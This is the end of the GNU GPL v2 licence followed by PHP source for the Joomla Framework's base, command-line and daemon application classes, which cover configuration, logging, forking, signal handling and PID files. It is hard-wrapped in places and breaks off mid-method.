	source code, which must be distributed under the terms of Sections
	1 and 2 above on a medium customarily used for software interchange; or,

	b) Accompany it with a written offer, valid for at least three
	years, to give any third party, for a charge no more than your
	cost of physically performing source distribution, a complete
	machine-readable copy of the corresponding source code, to be
	distributed under the terms of Sections 1 and 2 above on a medium
	customarily used for software interchange; or,

	c) Accompany it with the information you received as to the offer
	to distribute corresponding source code.  (This alternative is
	allowed only for noncommercial distribution and only if you
	received the program in object code or executable form with such
	an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

				NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

			 END OF TERMS AND CONDITIONS

		How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.

	<one line to give the program's name and a brief idea of what it
does.>
	Copyright (C) <year>  <name of author>

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation; either version 2 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA


Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

	Gnomovision version 69, Copyright (C) year name of author
	Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
	This is free software, and you are welcome to redistribute it
	under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James
Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
<?php
/**
 * Part of the Joomla Framework Application Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Application;

use Joomla\Input\Input;
use Joomla\Registry\Registry;
use Psr\Log\LoggerAwareInterface;
use Psr\Log\LoggerInterface;
use Psr\Log\NullLogger;

/**
 * Joomla Framework Base Application Class
 *
 * @since  1.0
 */
abstract class AbstractApplication implements LoggerAwareInterface
{
	/**
	 * The application configuration object.
	 *
	 * @var    Registry
	 * @since  1.0
	 */
	protected $config;

	/**
	 * The application input object.
	 *
	 * @var    Input
	 * @since  1.0
	 */
	public $input;

	/**
	 * A logger.
	 *
	 * @var    LoggerInterface
	 * @since  1.0
	 */
	private $logger;

	/**
	 * Class constructor.
	 *
	 * @param   Input     $input   An optional argument to provide dependency
injection for the application's input object.  If the argument is an
	 *                             Input object that object will become the
application's input object, otherwise a default input object is
created.
	 * @param   Registry  $config  An optional argument to provide dependency
injection for the application's config object.  If the argument
	 *                             is a Registry object that object will
become the application's config object, otherwise a default config
	 *                             object is created.
	 *
	 * @since   1.0
	 */
	public function __construct(Input $input = null, Registry $config = null)
	{
		$this->input  = $input instanceof Input ? $input : new Input;
		$this->config = $config instanceof Registry ? $config : new Registry;

		// Set the execution datetime and timestamp;
		$this->set('execution.datetime', gmdate('Y-m-d
H:i:s'));
		$this->set('execution.timestamp', time());
		$this->set('execution.microtimestamp', microtime(true));

		$this->initialise();
	}

	/**
	 * Method to close the application.
	 *
	 * @param   integer  $code  The exit code (optional; default is 0).
	 *
	 * @return  void
	 *
	 * @codeCoverageIgnore
	 * @since   1.0
	 */
	public function close($code = 0)
	{
		exit($code);
	}

	/**
	 * Method to run the application routines.  Most likely you will want to
instantiate a controller
	 * and execute it, or perform some sort of task directly.
	 *
	 * @return  mixed
	 *
	 * @since   1.0
	 */
	abstract protected function doExecute();

	/**
	 * Execute the application.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function execute()
	{
		// @event onBeforeExecute

		// Perform application routines.
		$this->doExecute();

		// @event onAfterExecute
	}

	/**
	 * Returns a property of the object or the default value if the property
is not set.
	 *
	 * @param   string  $key      The name of the property.
	 * @param   mixed   $default  The default value (optional) if none is set.
	 *
	 * @return  mixed   The value of the configuration.
	 *
	 * @since   1.0
	 */
	public function get($key, $default = null)
	{
		return $this->config->get($key, $default);
	}

	/**
	 * Get the logger.
	 *
	 * @return  LoggerInterface
	 *
	 * @since   1.0
	 */
	public function getLogger()
	{
		// If a logger hasn't been set, use NullLogger
		if (! ($this->logger instanceof LoggerInterface))
		{
			$this->logger = new NullLogger;
		}

		return $this->logger;
	}

	/**
	 * Custom initialisation method.
	 *
	 * Called at the end of the AbstractApplication::__construct method.
	 * This is for developers to inject initialisation code for their
application classes.
	 *
	 * @return  void
	 *
	 * @codeCoverageIgnore
	 * @since   1.0
	 */
	protected function initialise()
	{
	}

	/**
	 * Modifies a property of the object, creating it if it does not already
exist.
	 *
	 * @param   string  $key    The name of the property.
	 * @param   mixed   $value  The value of the property to set (optional).
	 *
	 * @return  mixed   Previous value of the property
	 *
	 * @since   1.0
	 */
	public function set($key, $value = null)
	{
		$previous = $this->config->get($key);
		$this->config->set($key, $value);

		return $previous;
	}

	/**
	 * Sets the configuration for the application.
	 *
	 * @param   Registry  $config  A registry object holding the
configuration.
	 *
	 * @return  AbstractApplication  Returns itself to support chaining.
	 *
	 * @since   1.0
	 */
	public function setConfiguration(Registry $config)
	{
		$this->config = $config;

		return $this;
	}

	/**
	 * Set the logger.
	 *
	 * @param   LoggerInterface  $logger  The logger.
	 *
	 * @return  AbstractApplication  Returns itself to support chaining.
	 *
	 * @since   1.0
	 */
	public function setLogger(LoggerInterface $logger)
	{
		$this->logger = $logger;

		return $this;
	}
}
<?php
/**
 * Part of the Joomla Framework Application Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Application;

use Joomla\Input;
use Joomla\Registry\Registry;

/**
 * Base class for a Joomla! command line application.
 *
 * @since       1.0
 * @deprecated  2.0  Use the `joomla/console` package instead
 */
abstract class AbstractCliApplication extends AbstractApplication
{
	/**
	 * Output object
	 *
	 * @var    Cli\CliOutput
	 * @since  1.0
	 */
	protected $output;

	/**
	 * CLI Input object
	 *
	 * @var    Cli\CliInput
	 * @since  1.6.0
	 */
	protected $cliInput;

	/**
	 * Class constructor.
	 *
	 * @param   Input\Cli      $input     An optional argument to provide
dependency injection for the application's input object.  If the
	 *                                    argument is an Input\Cli object that
object will become the application's input object, otherwise
	 *                                    a default input object is created.
	 * @param   Registry       $config    An optional argument to provide
dependency injection for the application's config object.  If the
	 *                                    argument is a Registry object that
object will become the application's config object, otherwise
	 *                                    a default config object is created.
	 * @param   Cli\CliOutput  $output    An optional argument to provide
dependency injection for the application's output object.  If the
	 *                                    argument is a Cli\CliOutput object
that object will become the application's input object, otherwise
	 *                                    a default output object is created.
	 * @param   Cli\CliInput   $cliInput  An optional argument to provide
dependency injection for the application's CLI input object.  If the
	 *                                    argument is a Cli\CliInput object
that object will become the application's input object, otherwise
	 *                                    a default input object is created.
	 *
	 * @since   1.0
	 */
	public function __construct(Input\Cli $input = null, Registry $config =
null, Cli\CliOutput $output = null, Cli\CliInput $cliInput = null)
	{
		// Close the application if we are not executed from the command line.
		// @codeCoverageIgnoreStart
		if (!\defined('STDOUT') || !\defined('STDIN') ||
!isset($_SERVER['argv']))
		{
			$this->close();
		}

		// @codeCoverageIgnoreEnd

		$this->output = ($output instanceof Cli\CliOutput) ? $output : new
Cli\Output\Stdout;

		// Set the CLI input object.
		$this->cliInput = ($cliInput instanceof Cli\CliInput) ? $cliInput :
new Cli\CliInput;

		// Call the constructor as late as possible (it runs `initialise`).
		parent::__construct($input instanceof Input\Input ? $input : new
Input\Cli, $config);

		// Set the current directory.
		$this->set('cwd', getcwd());
	}

	/**
	 * Get an output object.
	 *
	 * @return  Cli\CliOutput
	 *
	 * @since   1.0
	 */
	public function getOutput()
	{
		return $this->output;
	}

	/**
	 * Get a CLI input object.
	 *
	 * @return  Cli\CliInput
	 *
	 * @since   1.6.0
	 */
	public function getCliInput()
	{
		return $this->cliInput;
	}

	/**
	 * Write a string to standard output.
	 *
	 * @param   string   $text  The text to display.
	 * @param   boolean  $nl    True (default) to append a new line at the end
of the output string.
	 *
	 * @return  AbstractCliApplication  Instance of $this to allow chaining.
	 *
	 * @since   1.0
	 */
	public function out($text = '', $nl = true)
	{
		$this->getOutput()->out($text, $nl);

		return $this;
	}

	/**
	 * Get a value from standard input.
	 *
	 * @return  string  The input string from standard input.
	 *
	 * @codeCoverageIgnore
	 * @since   1.0
	 */
	public function in()
	{
		return $this->getCliInput()->in();
	}
}
<?php
/**
 * Part of the Joomla Framework Application Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Application;

use Joomla\Input;
use Joomla\Registry\Registry;
use Psr\Log\LoggerAwareInterface;

/**
 * Class to turn Cli applications into daemons.  It requires CLI and PCNTL
support built into PHP.
 *
 * @link        https://secure.php.net/manual/en/book.pcntl.php
 * @link        https://secure.php.net/manual/en/features.commandline.php
 * @since       1.0
 * @deprecated  2.0  Deprecated without replacement
 */
abstract class AbstractDaemonApplication extends AbstractCliApplication
implements LoggerAwareInterface
{
	/**
	 * @var    array  The available POSIX signals to be caught by default.
	 * @link   https://secure.php.net/manual/pcntl.constants.php
	 * @since  1.0
	 */
	protected static $signals = array(
		'SIGHUP',
		'SIGINT',
		'SIGQUIT',
		'SIGILL',
		'SIGTRAP',
		'SIGABRT',
		'SIGIOT',
		'SIGBUS',
		'SIGFPE',
		'SIGUSR1',
		'SIGSEGV',
		'SIGUSR2',
		'SIGPIPE',
		'SIGALRM',
		'SIGTERM',
		'SIGSTKFLT',
		'SIGCLD',
		'SIGCHLD',
		'SIGCONT',
		'SIGTSTP',
		'SIGTTIN',
		'SIGTTOU',
		'SIGURG',
		'SIGXCPU',
		'SIGXFSZ',
		'SIGVTALRM',
		'SIGPROF',
		'SIGWINCH',
		'SIGPOLL',
		'SIGIO',
		'SIGPWR',
		'SIGSYS',
		'SIGBABY',
		'SIG_BLOCK',
		'SIG_UNBLOCK',
		'SIG_SETMASK',
	);

	/**
	 * @var    boolean  True if the daemon is in the process of exiting.
	 * @since  1.0
	 */
	protected $exiting = false;

	/**
	 * @var    integer  The parent process id.
	 * @since  1.0
	 */
	protected $parentId = 0;

	/**
	 * @var    integer  The process id of the daemon.
	 * @since  1.0
	 */
	protected $processId = 0;

	/**
	 * @var    boolean  True if the daemon is currently running.
	 * @since  1.0
	 */
	protected $running = false;

	/**
	 * Class constructor.
	 *
	 * @param   Input\Cli      $input     An optional argument to provide
dependency injection for the application's input object.  If the
	 *                                    argument is an Input\Cli object that
object will become the application's input object, otherwise
	 *                                    a default input object is created.
	 * @param   Registry       $config    An optional argument to provide
dependency injection for the application's config object.  If the
	 *                                    argument is a Registry object that
object will become the application's config object, otherwise
	 *                                    a default config object is created.
	 * @param   Cli\CliOutput  $output    An optional argument to provide
dependency injection for the application's output object.  If the
	 *                                    argument is a Cli\CliOutput object
that object will become the application's input object, otherwise
	 *                                    a default output object is created.
	 * @param   Cli\CliInput   $cliInput  An optional argument to provide
dependency injection for the application's CLI input object.  If the
	 *                                    argument is a Cli\CliInput object
that object will become the application's input object, otherwise
	 *                                    a default input object is created.
	 *
	 * @since   1.0
	 */
	public function __construct(Cli $input = null, Registry $config = null,
Cli\CliOutput $output = null, Cli\CliInput $cliInput = null)
	{
		// Verify that the process control extension for PHP is available.
		// @codeCoverageIgnoreStart
		if (!\defined('SIGHUP'))
		{
			$this->getLogger()->error('The PCNTL extension for PHP is not
available.');

			throw new \RuntimeException('The PCNTL extension for PHP is not
available.');
		}

		// Verify that POSIX support for PHP is available.
		if (!\function_exists('posix_getpid'))
		{
			$this->getLogger()->error('The POSIX extension for PHP is not
available.');

			throw new \RuntimeException('The POSIX extension for PHP is not
available.');
		}

		// @codeCoverageIgnoreEnd

		// Call the parent constructor.
		parent::__construct($input, $config, $output, $cliInput);

		// Set some system limits.
		@set_time_limit($this->get('max_execution_time', 0));

		if ($this->get('max_memory_limit') !== null)
		{
			ini_set('memory_limit',
$this->get('max_memory_limit', '256M'));
		}

		// Flush content immediately.
		ob_implicit_flush();
	}

	/**
	 * Method to handle POSIX signals.
	 *
	 * @param   integer  $signal  The received POSIX signal.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @see     pcntl_signal()
	 * @throws  \RuntimeException
	 */
	public function signal($signal)
	{
		// Log all signals sent to the daemon.
		$this->getLogger()->debug('Received signal: ' . $signal);

		// Let's make sure we have an application instance.
		if (!is_subclass_of($this, __CLASS__))
		{
			$this->getLogger()->emergency('Cannot find the application
instance.');

			throw new \RuntimeException('Cannot find the application
instance.');
		}

		// @event onReceiveSignal

		switch ($signal)
		{
			case SIGINT:
			case SIGTERM:
				// Handle shutdown tasks
				if ($this->running && $this->isActive())
				{
					$this->shutdown();
				}
				else
				{
					$this->close();
				}

				break;

			case SIGHUP:
				// Handle restart tasks
				if ($this->running && $this->isActive())
				{
					$this->shutdown(true);
				}
				else
				{
					$this->close();
				}

				break;

			case SIGCHLD:
				// A child process has died
				while ($this->pcntlWait($signal, WNOHANG || WUNTRACED) > 0)
				{
					usleep(1000);
				}

				break;

			case SIGCLD:
				while ($this->pcntlWait($signal, WNOHANG) > 0)
				{
					$signal = $this->pcntlChildExitStatus($signal);
				}

				break;

			default:
				break;
		}
	}

	/**
	 * Check to see if the daemon is active.  This does not assume that $this
daemon is active, but
	 * only if an instance of the application is active as a daemon.
	 *
	 * @return  boolean  True if daemon is active.
	 *
	 * @since   1.0
	 */
	public function isActive()
	{
		// Get the process id file location for the application.
		$pidFile = $this->get('application_pid_file');

		// If the process id file doesn't exist then the daemon is obviously
not running.
		if (!is_file($pidFile))
		{
			return false;
		}

		// Read the contents of the process id file as an integer.
		$fp  = fopen($pidFile, 'r');
		$pid = fread($fp, filesize($pidFile));
		$pid = (int) $pid;
		fclose($fp);

		// Check to make sure that the process id exists as a positive integer.
		if (!$pid)
		{
			return false;
		}

		// Check to make sure the process is active by pinging it and ensure it
responds.
		if (!posix_kill($pid, 0))
		{
			// No response so remove the process id file and log the situation.
			@ unlink($pidFile);

			$this->getLogger()->warning('The process found based on PID
file was unresponsive.');

			return false;
		}

		return true;
	}

	/**
	 * Load an object or array into the application configuration object.
	 *
	 * @param   mixed  $data  Either an array or object to be loaded into the
configuration object.
	 *
	 * @return  AbstractDaemonApplication  Instance of $this to allow
chaining.
	 *
	 * @since   1.0
	 */
	public function loadConfiguration($data)
	{
		/*
		 * Setup some application metadata options.  This is useful if we ever
want to write out startup scripts
		 * or just have some sort of information available to share about things.
		 */

		// The application author name.  This string is used in generating
startup scripts and has
		// a maximum of 50 characters.
		$tmp = (string) $this->get('author_name', 'Joomla
Framework');
		$this->set('author_name', (\strlen($tmp) > 50) ?
substr($tmp, 0, 50) : $tmp);

		// The application author email.  This string is used in generating
startup scripts.
		$tmp = (string) $this->get('author_email',
'admin@joomla.org');
		$this->set('author_email', filter_var($tmp,
FILTER_VALIDATE_EMAIL));

		// The application name.  This string is used in generating startup
scripts.
		$tmp = (string) $this->get('application_name',
'JApplicationDaemon');
		$this->set('application_name', (string)
preg_replace('/[^A-Z0-9_-]/i', '', $tmp));

		// The application description.  This string is used in generating
startup scripts.
		$tmp = (string) $this->get('application_description',
'A generic Joomla Framework application.');
		$this->set('application_description', filter_var($tmp,
FILTER_SANITIZE_STRING));

		/*
		 * Setup the application path options.  This defines the default
executable name, executable directory,
		 * and also the path to the daemon process id file.
		 */

		// The application executable daemon.  This string is used in generating
startup scripts.
		$tmp = (string) $this->get('application_executable',
basename($this->input->executable));
		$this->set('application_executable', $tmp);

		// The home directory of the daemon.
		$tmp = (string) $this->get('application_directory',
\dirname($this->input->executable));
		$this->set('application_directory', $tmp);

		// The pid file location.  This defaults to a path inside the /tmp
directory.
		$name = $this->get('application_name');
		$tmp  = (string) $this->get('application_pid_file',
strtolower('/tmp/' . $name . '/' . $name .
'.pid'));
		$this->set('application_pid_file', $tmp);

		/*
		 * Setup the application identity options.  It is important to remember
if the default of 0 is set for
		 * either UID or GID then changing that setting will not be attempted as
there is no real way to "change"
		 * the identity of a process from some user to root.
		 */

		// The user id under which to run the daemon.
		$tmp     = (int) $this->get('application_uid', 0);
		$options = array('options' => array('min_range'
=> 0, 'max_range' => 65000));
		$this->set('application_uid', filter_var($tmp,
FILTER_VALIDATE_INT, $options));

		// The group id under which to run the daemon.
		$tmp     = (int) $this->get('application_gid', 0);
		$options = array('options' => array('min_range'
=> 0, 'max_range' => 65000));
		$this->set('application_gid', filter_var($tmp,
FILTER_VALIDATE_INT, $options));

		// Option to kill the daemon if it cannot switch to the chosen identity.
		$tmp = (bool) $this->get('application_require_identity', 1);
		$this->set('application_require_identity', $tmp);

		/*
		 * Setup the application runtime options.  By default our execution time
limit is infinite obviously
		 * because a daemon should be constantly running unless told otherwise. 
The default limit for memory
		 * usage is 128M, which admittedly is a little high, but remember it is a
"limit" and PHP's memory
		 * management leaves a bit to be desired :-)
		 */

		// The maximum execution time of the application in seconds.  Zero is
infinite.
		$tmp = $this->get('max_execution_time');

		if ($tmp !== null)
		{
			$this->set('max_execution_time', (int) $tmp);
		}

		// The maximum amount of memory the application can use.
		$tmp = $this->get('max_memory_limit', '256M');

		if ($tmp !== null)
		{
			$this->set('max_memory_limit', (string) $tmp);
		}

		return $this;
	}

	/**
	 * Execute the daemon.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function execute()
	{
		// @event onBeforeExecute

		// Enable basic garbage collection.
		gc_enable();

		$this->getLogger()->info('Starting ' . $this->name);

		// Set off the process for becoming a daemon.
		if ($this->daemonize())
		{
			// Declare ticks to start signal monitoring. When you declare ticks,
PCNTL will monitor
			// incoming signals after each tick and call the relevant signal handler
automatically.
			declare(ticks = 1);

			// Start the main execution loop.
			while (true)
			{
				// Perform basic garbage collection.
				$this->gc();

				// Don't completely overload the CPU.
				usleep(1000);

				// Execute the main application logic.
				$this->doExecute();
			}
		}
		else
		{
			// We were not able to daemonize the application so log the failure and
die gracefully.
			$this->getLogger()->info('Starting ' . $this->name .
' failed');
		}

		// @event onAfterExecute
	}

	/**
	 * Restart daemon process.
	 *
	 * @return  void
	 *
	 * @codeCoverageIgnore
	 * @since   1.0
	 */
	public function restart()
	{
		$this->getLogger()->info('Stopping ' . $this->name);

		$this->shutdown(true);
	}

	/**
	 * Stop daemon process.
	 *
	 * @return  void
	 *
	 * @codeCoverageIgnore
	 * @since   1.0
	 */
	public function stop()
	{
		$this->getLogger()->info('Stopping ' . $this->name);

		$this->shutdown();
	}

	/**
	 * Method to change the identity of the daemon process and resources.
	 *
	 * @return  boolean  True if identity successfully changed
	 *
	 * @since   1.0
	 * @see     posix_setuid()
	 */
	protected function changeIdentity()
	{
		// Get the group and user ids to set for the daemon.
		$uid = (int) $this->get('application_uid', 0);
		$gid = (int) $this->get('application_gid', 0);

		// Get the application process id file path.
		$file = $this->get('application_pid_file');

		// Change the user id for the process id file if necessary.
		if ($uid && (fileowner($file) != $uid) && (!@
chown($file, $uid)))
		{
			$this->getLogger()->error('Unable to change user ownership of
the process id file.');

			return false;
		}

		// Change the group id for the process id file if necessary.
		if ($gid && (filegroup($file) != $gid) && (!@
chgrp($file, $gid)))
		{
			$this->getLogger()->error('Unable to change group ownership
of the process id file.');

			return false;
		}

		// Set the correct home directory for the process.
		if ($uid && ($info = posix_getpwuid($uid)) &&
is_dir($info['dir']))
		{
			system('export HOME="' . $info['dir'] .
'"');
		}

		// Change the user id for the process necessary.
		if ($uid && (posix_getuid($file) != $uid) && (!@
posix_setuid($uid)))
		{
			$this->getLogger()->error('Unable to change user ownership of
the proccess.');

			return false;
		}

		// Change the group id for the process necessary.
		if ($gid && (posix_getgid($file) != $gid) && (!@
posix_setgid($gid)))
		{
			$this->getLogger()->error('Unable to change group ownership
of the proccess.');

			return false;
		}

		// Get the user and group information based on uid and gid.
		$user  = posix_getpwuid($uid);
		$group = posix_getgrgid($gid);

		$this->getLogger()->info('Changed daemon identity to ' .
$user['name'] . ':' . $group['name']);

		return true;
	}

	/**
	 * Method to put the application into the background.
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	protected function daemonize()
	{
		// Is there already an active daemon running?
		if ($this->isActive())
		{
			$this->getLogger()->emergency($this->name . ' daemon is
still running. Exiting the application.');

			return false;
		}

		// Reset Process Information
		$this->safeMode  = !!@ ini_get('safe_mode');
		$this->processId = 0;
		$this->running   = false;

		// Detach process!
		try
		{
			// Check if we should run in the foreground.
			if (!$this->input->get('f'))
			{
				// Detach from the terminal.
				$this->detach();
			}
			else
			{
				// Setup running values.
				$this->exiting = false;
				$this->running = true;

				// Set the process id.
				$this->processId = (int) posix_getpid();
				$this->parentId  = $this->processId;
			}
		}
		catch (\RuntimeException $e)
		{
			$this->getLogger()->emergency('Unable to fork.');

			return false;
		}

		// Verify the process id is valid.
		if ($this->processId < 1)
		{
			$this->getLogger()->emergency('The process id is invalid; the
fork failed.');

			return false;
		}

		// Clear the umask.
		@ umask(0);

		// Write out the process id file for concurrency management.
		if (!$this->writeProcessIdFile())
		{
			$this->getLogger()->emergency('Unable to write the pid file
at: ' . $this->get('application_pid_file'));

			return false;
		}

		// Attempt to change the identity of user running the process.
		if (!$this->changeIdentity())
		{
			// If the identity change was required then we need to return false.
			if ($this->get('application_require_identity'))
			{
				$this->getLogger()->critical('Unable to change process
owner.');

				return false;
			}

			$this->getLogger()->warning('Unable to change process
owner.');
		}

		// Setup the signal handlers for the daemon.
		if (!$this->setupSignalHandlers())
		{
			return false;
		}

		// Change the current working directory to the application working
directory.
		@ chdir($this->get('application_directory'));

		return true;
	}

	/**
	 * This is truly where the magic happens.  This is where we fork the
process and kill the parent
	 * process, which is essentially what turns the application into a daemon.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	protected function detach()
	{
		$this->getLogger()->debug('Detaching the ' .
$this->name . ' daemon.');

		// Attempt to fork the process.
		$pid = $this->fork();

		// If the pid is positive then we successfully forked, and can close this
application.
		if ($pid)
		{
			// Add the log entry for debugging purposes and exit gracefully.
			$this->getLogger()->debug('Ending ' . $this->name .
' parent process');

			$this->close();
		}
		else
		{
			// We are in the forked child process.
			// Setup some protected values.
			$this->exiting = false;
			$this->running = true;

			// Set the parent to self.
			$this->parentId = $this->processId;
		}
	}

	/**
	 * Method to fork the process.
	 *
	 * @return  integer  The child process id to the parent process, zero to
the child process.
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	protected function fork()
	{
		// Attempt to fork the process.
		$pid = $this->pcntlFork();

		// If the fork failed, throw an exception.
		if ($pid === -1)
		{
			throw new \RuntimeException('The process could not be
forked.');
		}

		if ($pid === 0)
		{
			// Update the process id for the child.
			$this->processId = (int) posix_getpid();
		}
		else
		{
			// Log the fork in the parent.
			$this->getLogger()->debug('Process forked ' . $pid);
		}

		// Trigger the onFork event.
		$this->postFork();

		return $pid;
	}

	/**
	 * Method to perform basic garbage collection and memory management in the
sense of clearing the
	 * stat cache.  We will probably call this method pretty regularly in our
main loop.
	 *
	 * @return  void
	 *
	 * @codeCoverageIgnore
	 * @since   1.0
	 */
	protected function gc()
	{
		// Perform generic garbage collection.
		gc_collect_cycles();

		// Clear the stat cache so it doesn't blow up memory.
		clearstatcache();
	}

	/**
	 * Method to attach the AbstractDaemonApplication signal handler to the
known signals.  Applications
	 * can override these handlers by using the pcntl_signal() function and
attaching a different
	 * callback method.
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 * @see     pcntl_signal()
	 */
	protected function setupSignalHandlers()
	{
		// We add the error suppression for the loop because on some platforms
some constants are not defined.
		foreach (self::$signals as $signal)
		{
			// Ignore signals that are not defined.
			if (!\defined($signal) || !\is_int(\constant($signal)) ||
(\constant($signal) === 0))
			{
				// Define the signal to avoid notices.
				$this->getLogger()->debug('Signal "' . $signal .
'" not defined. Defining it as null.');

				\define($signal, null);

				// Don't listen for signal.
				continue;
			}

			// Attach the signal handler for the signal.
